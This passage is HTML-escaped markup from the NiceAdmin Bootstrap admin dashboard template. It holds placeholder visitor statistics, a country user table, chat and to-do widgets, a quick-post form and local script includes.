                  &lt;div&gt;&lt;span id=&quot;todayspark1&quot; class=&quot;spark&quot;&gt;&lt;/span&gt;&lt;/div&gt;
                  &lt;!-- Text --&gt;
                  &lt;div class=&quot;datas-text&quot;&gt;11,500 visitors/day&lt;/div&gt;
                &lt;/li&gt;
                &lt;li&gt;
                  &lt;div&gt;&lt;span id=&quot;todayspark2&quot; class=&quot;spark&quot;&gt;&lt;/span&gt;&lt;/div&gt;
                  &lt;div class=&quot;datas-text&quot;&gt;15,000 Pageviews&lt;/div&gt;
                &lt;/li&gt;
                &lt;li&gt;
                  &lt;div&gt;&lt;span id=&quot;todayspark3&quot; class=&quot;spark&quot;&gt;&lt;/span&gt;&lt;/div&gt;
                  &lt;div class=&quot;datas-text&quot;&gt;30.55% Bounce Rate&lt;/div&gt;
                &lt;/li&gt;
                &lt;li&gt;
                  &lt;div&gt;&lt;span id=&quot;todayspark4&quot; class=&quot;spark&quot;&gt;&lt;/span&gt;&lt;/div&gt;
                  &lt;div class=&quot;datas-text&quot;&gt;$16,00 Revenue/Day&lt;/div&gt;
                &lt;/li&gt; 
                &lt;li&gt;
                  &lt;div&gt;&lt;span id=&quot;todayspark5&quot; class=&quot;spark&quot;&gt;&lt;/span&gt;&lt;/div&gt;
                  &lt;div class=&quot;datas-text&quot;&gt;12,000000 visitors every Month&lt;/div&gt;
                &lt;/li&gt;                                                                                                              
              &lt;/ul&gt;
              &lt;/div&gt;
              
			 
           &lt;/div&gt;  
            
		  
		  &lt;!-- Today status end --&gt;
			
              
				
			&lt;div class=&quot;row&quot;&gt;
               	
				&lt;div class=&quot;col-lg-9 col-md-12&quot;&gt;	
					&lt;div class=&quot;panel panel-default&quot;&gt;
						&lt;div class=&quot;panel-heading&quot;&gt;
							&lt;h2&gt;&lt;i class=&quot;fa fa-flag-o red&quot;&gt;&lt;/i&gt;&lt;strong&gt;Registered Users&lt;/strong&gt;&lt;/h2&gt;
							&lt;div class=&quot;panel-actions&quot;&gt;
								&lt;a href=&quot;index.html#&quot; class=&quot;btn-setting&quot;&gt;&lt;i class=&quot;fa fa-rotate-right&quot;&gt;&lt;/i&gt;&lt;/a&gt;
								&lt;a href=&quot;index.html#&quot; class=&quot;btn-minimize&quot;&gt;&lt;i class=&quot;fa fa-chevron-up&quot;&gt;&lt;/i&gt;&lt;/a&gt;
								&lt;a href=&quot;index.html#&quot; class=&quot;btn-close&quot;&gt;&lt;i class=&quot;fa fa-times&quot;&gt;&lt;/i&gt;&lt;/a&gt;
							&lt;/div&gt;
						&lt;/div&gt;
						&lt;div class=&quot;panel-body&quot;&gt;
							&lt;table class=&quot;table bootstrap-datatable countries&quot;&gt;
								&lt;thead&gt;
									&lt;tr&gt;
										&lt;th&gt;&lt;/th&gt;
										&lt;th&gt;Country&lt;/th&gt;
										&lt;th&gt;Users&lt;/th&gt;
										&lt;th&gt;Online&lt;/th&gt;
										&lt;th&gt;Performance&lt;/th&gt;
									&lt;/tr&gt;
								&lt;/thead&gt;   
								&lt;tbody&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;img src=&quot;img/Germany.png&quot; style=&quot;height:18px; margin-top:-2px;&quot;&gt;&lt;/td&gt;
										&lt;td&gt;Germany&lt;/td&gt;
										&lt;td&gt;2563&lt;/td&gt;
										&lt;td&gt;1025&lt;/td&gt;
										&lt;td&gt;
											&lt;div class=&quot;progress thin&quot;&gt;
												&lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;73&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 73%&quot;&gt;
												&lt;/div&gt;
												&lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;27&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 27%&quot;&gt;
											  	&lt;/div&gt;
											&lt;/div&gt;
											&lt;span class=&quot;sr-only&quot;&gt;73%&lt;/span&gt;   	
										&lt;/td&gt;
									&lt;/tr&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;img src=&quot;img/India.png&quot; style=&quot;height:18px; margin-top:-2px;&quot;&gt;&lt;/td&gt;
										&lt;td&gt;India&lt;/td&gt;
										&lt;td&gt;3652&lt;/td&gt;
										&lt;td&gt;2563&lt;/td&gt;
										&lt;td&gt;
											&lt;div class=&quot;progress thin&quot;&gt;
												&lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;57&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 57%&quot;&gt;
												&lt;/div&gt;
												&lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;43&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 43%&quot;&gt;
												&lt;/div&gt;
											&lt;/div&gt;
											&lt;span class=&quot;sr-only&quot;&gt;57%&lt;/span&gt;   	
										&lt;/td&gt;
									&lt;/tr&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;img src=&quot;img/Spain.png&quot; style=&quot;height:18px; margin-top:-2px;&quot;&gt;&lt;/td&gt;
										&lt;td&gt;Spain&lt;/td&gt;
										&lt;td&gt;562&lt;/td&gt;
										&lt;td&gt;452&lt;/td&gt;
										&lt;td&gt;
											&lt;div class=&quot;progress thin&quot;&gt;
												&lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;93&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 93%&quot;&gt;
												&lt;/div&gt;
												&lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;7&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 7%&quot;&gt;
											  	&lt;/div&gt;
											&lt;/div&gt;
											&lt;span class=&quot;sr-only&quot;&gt;93%&lt;/span&gt;   	
										&lt;/td&gt;
									&lt;/tr&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;img src=&quot;img/India.png&quot; style=&quot;height:18px; margin-top:-2px;&quot;&gt;&lt;/td&gt;
										&lt;td&gt;Russia&lt;/td&gt;
										&lt;td&gt;1258&lt;/td&gt;
										&lt;td&gt;958&lt;/td&gt;
										&lt;td&gt;
											&lt;div class=&quot;progress thin&quot;&gt;
											  	&lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;20&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 20%&quot;&gt;
											  	&lt;/div&gt;
												&lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;80&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 80%&quot;&gt;
											  	&lt;/div&gt;
											&lt;/div&gt;
											&lt;span class=&quot;sr-only&quot;&gt;20%&lt;/span&gt;   	
										&lt;/td&gt;
									&lt;/tr&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;img src=&quot;img/Spain.png&quot; style=&quot;height:18px; margin-top:-2px;&quot;&gt;&lt;/td&gt;
										&lt;td&gt;USA&lt;/td&gt;
										&lt;td&gt;4856&lt;/td&gt;
										&lt;td&gt;3621&lt;/td&gt;
										&lt;td&gt;
											&lt;div class=&quot;progress thin&quot;&gt;
											  	&lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;20&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 20%&quot;&gt;
											  	&lt;/div&gt;
												&lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;80&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 80%&quot;&gt;
											  	&lt;/div&gt;
											&lt;/div&gt;
											&lt;span class=&quot;sr-only&quot;&gt;20%&lt;/span&gt;   	
										&lt;/td&gt;
									&lt;/tr&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;img src=&quot;img/Germany.png&quot; style=&quot;height:18px; margin-top:-2px;&quot;&gt;&lt;/td&gt;
										&lt;td&gt;Brazil&lt;/td&gt;
										&lt;td&gt;265&lt;/td&gt;
										&lt;td&gt;102&lt;/td&gt;
										&lt;td&gt;
											&lt;div class=&quot;progress thin&quot;&gt;
											  	&lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;20&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 20%&quot;&gt;
											  	&lt;/div&gt;
												&lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;80&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 80%&quot;&gt;
											  	&lt;/div&gt;
											&lt;/div&gt;
											&lt;span class=&quot;sr-only&quot;&gt;20%&lt;/span&gt;   	
										&lt;/td&gt;
									&lt;/tr&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;img src=&quot;img/Germany.png&quot; style=&quot;height:18px; margin-top:-2px;&quot;&gt;&lt;/td&gt;
										&lt;td&gt;Coloumbia&lt;/td&gt;
										&lt;td&gt;265&lt;/td&gt;
										&lt;td&gt;102&lt;/td&gt;
										&lt;td&gt;
											&lt;div class=&quot;progress thin&quot;&gt;
											  	&lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;20&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 20%&quot;&gt;
											  	&lt;/div&gt;
												&lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;80&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 80%&quot;&gt;
											  	&lt;/div&gt;
											&lt;/div&gt;
											&lt;span class=&quot;sr-only&quot;&gt;20%&lt;/span&gt;   	
										&lt;/td&gt;
									&lt;/tr&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;img src=&quot;img/Germany.png&quot; style=&quot;height:18px; margin-top:-2px;&quot;&gt;&lt;/td&gt;
										&lt;td&gt;France&lt;/td&gt;
										&lt;td&gt;265&lt;/td&gt;
										&lt;td&gt;102&lt;/td&gt;
										&lt;td&gt;
											&lt;div class=&quot;progress thin&quot;&gt;
											  	&lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;20&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 20%&quot;&gt;
											  	&lt;/div&gt;
												&lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;80&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 80%&quot;&gt;
											  	&lt;/div&gt;
											&lt;/div&gt;
											&lt;span class=&quot;sr-only&quot;&gt;20%&lt;/span&gt;   	
										&lt;/td&gt;
									&lt;/tr&gt;
								&lt;/tbody&gt;
							&lt;/table&gt;
						&lt;/div&gt;
	
					&lt;/div&gt;	

				&lt;/div&gt;&lt;!--/col--&gt;
				&lt;div class=&quot;col-md-3&quot;&gt;
					
					&lt;div class=&quot;social-box facebook&quot;&gt;
						&lt;i class=&quot;fa fa-facebook&quot;&gt;&lt;/i&gt;
						&lt;ul&gt;
							&lt;li&gt;
								&lt;strong&gt;256k&lt;/strong&gt;
								&lt;span&gt;friends&lt;/span&gt;
							&lt;/li&gt;
							&lt;li&gt;
								&lt;strong&gt;359&lt;/strong&gt;
								&lt;span&gt;feeds&lt;/span&gt;
							&lt;/li&gt;
						&lt;/ul&gt;
					&lt;/div&gt;&lt;!--/social-box--&gt;
				&lt;/div&gt;
				&lt;div class=&quot;col-md-3&quot;&gt;
					
					&lt;div class=&quot;social-box google-plus&quot;&gt;
						&lt;i class=&quot;fa fa-google-plus&quot;&gt;&lt;/i&gt;
						&lt;ul&gt;
							&lt;li&gt;
								&lt;strong&gt;962&lt;/strong&gt;
								&lt;span&gt;followers&lt;/span&gt;
							&lt;/li&gt;
							&lt;li&gt;
								&lt;strong&gt;256&lt;/strong&gt;
								&lt;span&gt;circles&lt;/span&gt;
							&lt;/li&gt;
						&lt;/ul&gt;
					&lt;/div&gt;&lt;!--/social-box--&gt;			
					
				&lt;/div&gt;&lt;!--/col--&gt;
				&lt;div class=&quot;col-md-3&quot;&gt;
					
					&lt;div class=&quot;social-box twitter&quot;&gt;
						&lt;i class=&quot;fa fa-twitter&quot;&gt;&lt;/i&gt;
						&lt;ul&gt;
							&lt;li&gt;
								&lt;strong&gt;1562k&lt;/strong&gt;
								&lt;span&gt;followers&lt;/span&gt;
							&lt;/li&gt;
							&lt;li&gt;
								&lt;strong&gt;2562&lt;/strong&gt;
								&lt;span&gt;tweets&lt;/span&gt;
							&lt;/li&gt;
						&lt;/ul&gt;
					&lt;/div&gt;&lt;!--/social-box--&gt;			
					
				&lt;/div&gt;&lt;!--/col--&gt;
				
              &lt;/div&gt;

                    
                   
                &lt;!-- statics end --&gt;
              
            
				

              &lt;!-- project team &amp; activity start --&gt;
          &lt;div class=&quot;row&quot;&gt;
            &lt;div class=&quot;col-md-4 portlets&quot;&gt;
              &lt;!-- Widget --&gt;
              &lt;div class=&quot;panel panel-default&quot;&gt;
				&lt;div class=&quot;panel-heading&quot;&gt;
                  &lt;div class=&quot;pull-left&quot;&gt;Message&lt;/div&gt;
                  &lt;div class=&quot;widget-icons pull-right&quot;&gt;
                    &lt;a href=&quot;#&quot; class=&quot;wminimize&quot;&gt;&lt;i class=&quot;fa fa-chevron-up&quot;&gt;&lt;/i&gt;&lt;/a&gt; 
                    &lt;a href=&quot;#&quot; class=&quot;wclose&quot;&gt;&lt;i class=&quot;fa fa-times&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                  &lt;/div&gt;  
                  &lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;
                &lt;/div&gt;

                &lt;div class=&quot;panel-body&quot;&gt;
                  &lt;!-- Widget content --&gt;
                  &lt;div class=&quot;padd sscroll&quot;&gt;
                    
                    &lt;ul class=&quot;chats&quot;&gt;

                      &lt;!-- Chat by us. Use the class &quot;by-me&quot;. --&gt;
                      &lt;li class=&quot;by-me&quot;&gt;
                        &lt;!-- Use the class &quot;pull-left&quot; in avatar --&gt;
                        &lt;div class=&quot;avatar pull-left&quot;&gt;
                          &lt;img src=&quot;img/user.jpg&quot; alt=&quot;&quot;/&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;chat-content&quot;&gt;
                          &lt;!-- In meta area, first include &quot;name&quot; and then &quot;time&quot; --&gt;
                          &lt;div class=&quot;chat-meta&quot;&gt;John Smith &lt;span class=&quot;pull-right&quot;&gt;3 hours ago&lt;/span&gt;&lt;/div&gt;
                          Vivamus diam elit diam, consectetur dapibus adipiscing elit.
                          &lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;
                        &lt;/div&gt;
                      &lt;/li&gt; 

                      &lt;!-- Chat by other. Use the class &quot;by-other&quot;. --&gt;
                      &lt;li class=&quot;by-other&quot;&gt;
                        &lt;!-- Use the class &quot;pull-right&quot; in avatar --&gt;
                        &lt;div class=&quot;avatar pull-right&quot;&gt;
                          &lt;img src=&quot;img/user22.png&quot; alt=&quot;&quot;/&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;chat-content&quot;&gt;
                          &lt;!-- In the chat meta, first include &quot;time&quot; then &quot;name&quot; --&gt;
                          &lt;div class=&quot;chat-meta&quot;&gt;3 hours ago &lt;span class=&quot;pull-right&quot;&gt;Jenifer Smith&lt;/span&gt;&lt;/div&gt;
                          Vivamus diam elit diam, consectetur fconsectetur dapibus adipiscing elit.
                          &lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;
                        &lt;/div&gt;
                      &lt;/li&gt;   

                      &lt;li class=&quot;by-me&quot;&gt;
                        &lt;div class=&quot;avatar pull-left&quot;&gt;
                          &lt;img src=&quot;img/user.jpg&quot; alt=&quot;&quot;/&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;chat-content&quot;&gt;
                          &lt;div class=&quot;chat-meta&quot;&gt;John Smith &lt;span class=&quot;pull-right&quot;&gt;4 hours ago&lt;/span&gt;&lt;/div&gt;
                          Vivamus diam elit diam, consectetur fermentum sed dapibus eget, Vivamus consectetur dapibus adipiscing elit.
                          &lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;
                        &lt;/div&gt;
                      &lt;/li&gt;  

                      &lt;li class=&quot;by-other&quot;&gt;
                        &lt;!-- Use the class &quot;pull-right&quot; in avatar --&gt;
                        &lt;div class=&quot;avatar pull-right&quot;&gt;
                          &lt;img src=&quot;img/user22.png&quot; alt=&quot;&quot;/&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;chat-content&quot;&gt;
                          &lt;!-- In the chat meta, first include &quot;time&quot; then &quot;name&quot; --&gt;
                          &lt;div class=&quot;chat-meta&quot;&gt;3 hours ago &lt;span class=&quot;pull-right&quot;&gt;Jenifer Smith&lt;/span&gt;&lt;/div&gt;
                          Vivamus diam elit diam, consectetur fermentum sed dapibus eget, Vivamus consectetur dapibus adipiscing elit.
                          &lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;
                        &lt;/div&gt;
                      &lt;/li&gt;                                                                                  

                    &lt;/ul&gt;

                  &lt;/div&gt;
                  &lt;!-- Widget footer --&gt;
                  &lt;div class=&quot;widget-foot&quot;&gt;
                      
                      &lt;form class=&quot;form-inline&quot;&gt;
						&lt;div class=&quot;form-group&quot;&gt;
							&lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;Type your message here...&quot;&gt;
						&lt;/div&gt;
                        &lt;button type=&quot;submit&quot; class=&quot;btn btn-info&quot;&gt;Send&lt;/button&gt;
                      &lt;/form&gt;


                  &lt;/div&gt;
                &lt;/div&gt;


              &lt;/div&gt; 
            &lt;/div&gt;

                  &lt;div class=&quot;col-lg-8&quot;&gt;
                      &lt;!--Project Activity start--&gt;
                      &lt;section class=&quot;panel&quot;&gt;
                          &lt;div class=&quot;panel-body progress-panel&quot;&gt;
                            &lt;div class=&quot;row&quot;&gt;
                              &lt;div class=&quot;col-lg-8 task-progress pull-left&quot;&gt;
                                  &lt;h1&gt;To Do Everyday&lt;/h1&gt;                                  
                              &lt;/div&gt;
                              &lt;div class=&quot;col-lg-4&quot;&gt;
                                &lt;span class=&quot;profile-ava pull-right&quot;&gt;
                                        &lt;img alt=&quot;&quot; class=&quot;simple&quot; src=&quot;img/avatar1_small.jpg&quot;&gt;
                                        Jenifer smith
                                &lt;/span&gt;                                
                              &lt;/div&gt;
                            &lt;/div&gt;
                          &lt;/div&gt;
                          &lt;table class=&quot;table table-hover personal-task&quot;&gt;
                              &lt;tbody&gt;
                              &lt;tr&gt;
                                  &lt;td&gt;Today&lt;/td&gt;
                                  &lt;td&gt;
                                      web design
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;badge bg-important&quot;&gt;Upload&lt;/span&gt;
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                    &lt;span class=&quot;profile-ava&quot;&gt;
                                        &lt;img alt=&quot;&quot; class=&quot;simple&quot; src=&quot;img/avatar1_small.jpg&quot;&gt;
                                    &lt;/span&gt;
                                  &lt;/td&gt;
                              &lt;/tr&gt;
                              &lt;tr&gt;
                                  &lt;td&gt;Yesterday&lt;/td&gt;
                                  &lt;td&gt;
                                      Project Design Task
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;badge bg-success&quot;&gt;Task&lt;/span&gt;
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;div id=&quot;work-progress2&quot;&gt;&lt;/div&gt;
                                  &lt;/td&gt;
                              &lt;/tr&gt;
                              &lt;tr&gt;
                                  &lt;td&gt;21-10-14&lt;/td&gt;
                                  &lt;td&gt;
                                      Generate Invoice
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;badge bg-success&quot;&gt;Task&lt;/span&gt;
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;div id=&quot;work-progress3&quot;&gt;&lt;/div&gt;
                                  &lt;/td&gt;
                              &lt;/tr&gt;                              
                              &lt;tr&gt;
                                  &lt;td&gt;22-10-14&lt;/td&gt;
                                  &lt;td&gt;
                                      Project Testing
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;badge bg-primary&quot;&gt;To-Do&lt;/span&gt;
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;profile-ava&quot;&gt;
                                        &lt;img alt=&quot;&quot; class=&quot;simple&quot; src=&quot;img/avatar1_small.jpg&quot;&gt;
                                      &lt;/span&gt;
                                  &lt;/td&gt;
                              &lt;/tr&gt;
                              &lt;tr&gt;
                                  &lt;td&gt;24-10-14&lt;/td&gt;
                                  &lt;td&gt;
                                      Project Release Date
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;badge bg-info&quot;&gt;Milestone&lt;/span&gt;
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;div id=&quot;work-progress4&quot;&gt;&lt;/div&gt;
                                  &lt;/td&gt;
                              &lt;/tr&gt;                              
                              &lt;tr&gt;
                                  &lt;td&gt;28-10-14&lt;/td&gt;
                                  &lt;td&gt;
                                      Project Release Date
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;badge bg-primary&quot;&gt;To-Do&lt;/span&gt;
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;div id=&quot;work-progress5&quot;&gt;&lt;/div&gt;
                                  &lt;/td&gt;
                              &lt;/tr&gt;
							  &lt;tr&gt;
                                  &lt;td&gt;Last week&lt;/td&gt;
                                  &lt;td&gt;
                                      Project Release Date
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;badge bg-primary&quot;&gt;To-Do&lt;/span&gt;
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;div id=&quot;work-progress1&quot;&gt;&lt;/div&gt;
                                  &lt;/td&gt;
                              &lt;/tr&gt;
							  &lt;tr&gt;
                                  &lt;td&gt;last month&lt;/td&gt;
                                  &lt;td&gt;
                                      Project Release Date
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;badge bg-success&quot;&gt;To-Do&lt;/span&gt;
                                  &lt;/td&gt;
                                  &lt;td&gt;
                                      &lt;span class=&quot;profile-ava&quot;&gt;
                                        &lt;img alt=&quot;&quot; class=&quot;simple&quot; src=&quot;img/avatar1_small.jpg&quot;&gt;
                                      &lt;/span&gt;
                                  &lt;/td&gt;
                              &lt;/tr&gt;
                              &lt;/tbody&gt;
                          &lt;/table&gt;
                      &lt;/section&gt;
                      &lt;!--Project Activity end--&gt;
                  &lt;/div&gt;
              &lt;/div&gt;&lt;br&gt;&lt;br&gt;
		
		&lt;div class=&quot;row&quot;&gt;
			&lt;div class=&quot;col-md-6 portlets&quot;&gt;
            &lt;div class=&quot;panel panel-default&quot;&gt;
				&lt;div class=&quot;panel-heading&quot;&gt;
                  &lt;h2&gt;&lt;strong&gt;Calendar&lt;/strong&gt;&lt;/h2&gt;
				&lt;div class=&quot;panel-actions&quot;&gt;
                    &lt;a href=&quot;#&quot; class=&quot;wminimize&quot;&gt;&lt;i class=&quot;fa fa-chevron-up&quot;&gt;&lt;/i&gt;&lt;/a&gt; 
                    &lt;a href=&quot;#&quot; class=&quot;wclose&quot;&gt;&lt;i class=&quot;fa fa-times&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                &lt;/div&gt;  
                 
                &lt;/div&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;
                &lt;div class=&quot;panel-body&quot;&gt;
                  &lt;!-- Widget content --&gt;
                  
                    &lt;!-- Below line produces calendar. I am using FullCalendar plugin. --&gt;
                    &lt;div id=&quot;calendar&quot;&gt;&lt;/div&gt;
                  
                &lt;/div&gt;
              &lt;/div&gt; 
               
            &lt;/div&gt;
			
				 &lt;div class=&quot;col-md-6 portlets&quot;&gt;
              &lt;div class=&quot;panel panel-default&quot;&gt;
                &lt;div class=&quot;panel-heading&quot;&gt;
                  &lt;div class=&quot;pull-left&quot;&gt;Quick Post&lt;/div&gt;
                  &lt;div class=&quot;widget-icons pull-right&quot;&gt;
                    &lt;a href=&quot;#&quot; class=&quot;wminimize&quot;&gt;&lt;i class=&quot;fa fa-chevron-up&quot;&gt;&lt;/i&gt;&lt;/a&gt; 
                    &lt;a href=&quot;#&quot; class=&quot;wclose&quot;&gt;&lt;i class=&quot;fa fa-times&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                  &lt;/div&gt;  
                  &lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;
                &lt;/div&gt;
                &lt;div class=&quot;panel-body&quot;&gt;
                  &lt;div class=&quot;padd&quot;&gt;
                    
                      &lt;div class=&quot;form quick-post&quot;&gt;
                                      &lt;!-- Edit profile form (not working)--&gt;
                                      &lt;form class=&quot;form-horizontal&quot;&gt;
                                          &lt;!-- Title --&gt;
                                          &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label class=&quot;control-label col-lg-2&quot; for=&quot;title&quot;&gt;Title&lt;/label&gt;
                                            &lt;div class=&quot;col-lg-10&quot;&gt; 
                                              &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;title&quot;&gt;
                                            &lt;/div&gt;
                                          &lt;/div&gt;   
                                          &lt;!-- Content --&gt;
                                          &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label class=&quot;control-label col-lg-2&quot; for=&quot;content&quot;&gt;Content&lt;/label&gt;
                                            &lt;div class=&quot;col-lg-10&quot;&gt;
                                              &lt;textarea class=&quot;form-control&quot; id=&quot;content&quot;&gt;&lt;/textarea&gt;
                                            &lt;/div&gt;
                                          &lt;/div&gt;                           
                                          &lt;!-- Cateogry --&gt;
                                          &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label class=&quot;control-label col-lg-2&quot;&gt;Category&lt;/label&gt;
                                            &lt;div class=&quot;col-lg-10&quot;&gt;                               
                                                &lt;select class=&quot;form-control&quot;&gt;
                                                  &lt;option value=&quot;&quot;&gt;- Choose Cateogry -&lt;/option&gt;
                                                  &lt;option value=&quot;1&quot;&gt;General&lt;/option&gt;
                                                  &lt;option value=&quot;2&quot;&gt;News&lt;/option&gt;
                                                  &lt;option value=&quot;3&quot;&gt;Media&lt;/option&gt;
                                                  &lt;option value=&quot;4&quot;&gt;Funny&lt;/option&gt;
                                                &lt;/select&gt;  
                                            &lt;/div&gt;
                                          &lt;/div&gt;              
                                          &lt;!-- Tags --&gt;
                                          &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label class=&quot;control-label col-lg-2&quot; for=&quot;tags&quot;&gt;Tags&lt;/label&gt;
                                            &lt;div class=&quot;col-lg-10&quot;&gt;
                                              &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;tags&quot;&gt;
                                            &lt;/div&gt;
                                          &lt;/div&gt;
                                          
                                          &lt;!-- Buttons --&gt;
                                          &lt;div class=&quot;form-group&quot;&gt;
                                             &lt;!-- Buttons --&gt;
											 &lt;div class=&quot;col-lg-offset-2 col-lg-9&quot;&gt;
												&lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;Publish&lt;/button&gt;
												&lt;button type=&quot;submit&quot; class=&quot;btn btn-danger&quot;&gt;Save Draft&lt;/button&gt;
												&lt;button type=&quot;reset&quot; class=&quot;btn btn-default&quot;&gt;Reset&lt;/button&gt;
											 &lt;/div&gt;
                                          &lt;/div&gt;
                                      &lt;/form&gt;
                                    &lt;/div&gt;
                  

                  &lt;/div&gt;
                  &lt;div class=&quot;widget-foot&quot;&gt;
                    &lt;!-- Footer goes here --&gt;
                  &lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
              
            &lt;/div&gt;
                        
          &lt;/div&gt; 
              &lt;!-- project team &amp; activity end --&gt;

          &lt;/section&gt;
          &lt;div class=&quot;text-right&quot;&gt;
          &lt;div class=&quot;credits&quot;&gt;
                &lt;!-- 
                    All the links in the footer should remain intact. 
                    You can delete the links only if you purchased the pro version.
                    Licensing information: https://bootstrapmade.com/license/
                    Purchase the pro version form: https://bootstrapmade.com/buy/?theme=NiceAdmin
                --&gt;
                &lt;a href=&quot;https://bootstrapmade.com/free-business-bootstrap-themes-website-templates/&quot;&gt;Business Bootstrap Themes&lt;/a&gt; by &lt;a href=&quot;https://bootstrapmade.com/&quot;&gt;BootstrapMade&lt;/a&gt;
            &lt;/div&gt;
        &lt;/div&gt;
      &lt;/section&gt;
      &lt;!--main content end--&gt;
  &lt;/section&gt;
  &lt;!-- container section start --&gt;

    &lt;!-- javascripts --&gt;
    &lt;script src=&quot;js/jquery.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/jquery-ui-1.10.4.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/jquery-1.8.3.min.js&quot;&gt;&lt;/script&gt;
    &lt;script type=&quot;text/javascript&quot; src=&quot;js/jquery-ui-1.9.2.custom.min.js&quot;&gt;&lt;/script&gt;
    &lt;!-- bootstrap --&gt;
    &lt;script src=&quot;js/bootstrap.min.js&quot;&gt;&lt;/script&gt;
    &lt;!-- nice scroll --&gt;
